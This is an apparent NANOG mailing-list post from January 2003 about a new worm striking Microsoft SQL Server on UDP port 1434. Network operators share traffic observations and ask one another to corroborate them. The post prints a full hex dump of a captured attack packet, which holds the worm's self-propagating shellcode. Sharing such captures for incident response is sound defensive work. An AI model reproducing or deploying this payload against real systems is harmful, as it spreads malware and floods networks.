New worm / port 1434?

### casually decided to expound upon nanog@nanog.org the following thoughts
### about "Re: New worm / port 1434?":

* Avleen Vig <lists-nanog@silverwraith.com> [20030124 22:44]:
>
> It seems we have a new worm hitting Microsoft SQL server servers on port
> 1434.

A preliminary look at some of our NetFlow data shows a suspect ICMP payload
delivered to one of our downstream colo customer boxes followed by a
70 Mbit/s burst from them. The burst consisted of traffic to seemingly random
destinations on 1434/udp. This customer typically does about 0.250 Mbit/s
so this was a bit out of their profile. :slight_smile: Needless to say, we shut them
down per a suspected security incident. The ICMP came from 66.214.194.31
though that could quite easily be forged or just another compromised box.
We're seeing red to many networks all over the world though our network seems
to have quieted down a bit. Sounds like a DDoS in the works.

Anyone else able to corroborate/compare notes?

First attack packet came in around 2130PST. A tcpdump reveals this:

Jan 25 00:05:49.880553 64.159.86.99.2321 > 66.166.158.240.1434: [udp sum
ok] udp 376 (ttl 120, id 53207)
  0000: 4500 0194 cfd7 0000 7811 f8e8 409f 5663 E...��..x.��@.Vc
  0010: 42a6 9ef0 0911 059a 0180 b3a1 0401 0101 B�.�......��....
  0020: 0101 0101 0101 0101 0101 0101 0101 0101 ................
  0030: 0101 0101 0101 0101 0101 0101 0101 0101 ................
  0040: 0101 0101 0101 0101 0101 0101 0101 0101 ................
  0050: 0101 0101 0101 0101 0101 0101 0101 0101 ................
  0060: 0101 0101 0101 0101 0101 0101 0101 0101 ................
  0070: 0101 0101 0101 0101 0101 0101 01dc c9b0 .............�ɰ
  0080: 42eb 0e01 0101 0101 0101 70ae 4201 70ae B�........p�B.p�
  0090: 4290 9090 9090 9090 9068 dcc9 b042 b801 B........h�ɰB�.
  00a0: 0101 0131 c9b1 1850 e2fd 3501 0101 0550 ...1ɱ.P��5....P
  00b0: 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65 .�Qh.dllhel32hke
  00c0: 726e 5168 6f75 6e74 6869 636b 4368 4765 rnQhounthickChGe
  00d0: 7454 66b9 6c6c 5168 3332 2e64 6877 7332 tTf�llQh32.dhws2
  00e0: 5f66 b965 7451 6873 6f63 6b66 b974 6f51 _f�etQhsockf�toQ
  00f0: 6873 656e 64be 1810 ae42 8d45 d450 ff16 hsend�..�B.E�P�.
  0100: 508d 45e0 508d 45f0 50ff 1650 be10 10ae P.E�P.E�P�.P�..�
  0110: 428b 1e8b 033d 558b ec51 7405 be1c 10ae B....=U.�Qt.�..�
  0120: 42ff 16ff d031 c951 5150 81f1 0301 049b B�.��1�QQP.�....
  0130: 81f1 0101 0101 518d 45cc 508b 45c0 50ff .�....Q.E�P.E�P�
  0140: 166a 116a 026a 02ff d050 8d45 c450 8b45 .j.j.j.��P.E�P.E
  0150: c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45 �P�..�.�.�<a��.E
  0160: b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829 �..@...��..���.)
  0170: c28d 0490 01d8 8945 b46a 108d 45b0 5031 �....�.E�j..E�P1
  0180: c951 6681 f178 0151 8d45 0350 8b45 ac50 �Qf.�x.Q.E.P.E�P
  0190: ffd6 ebca ����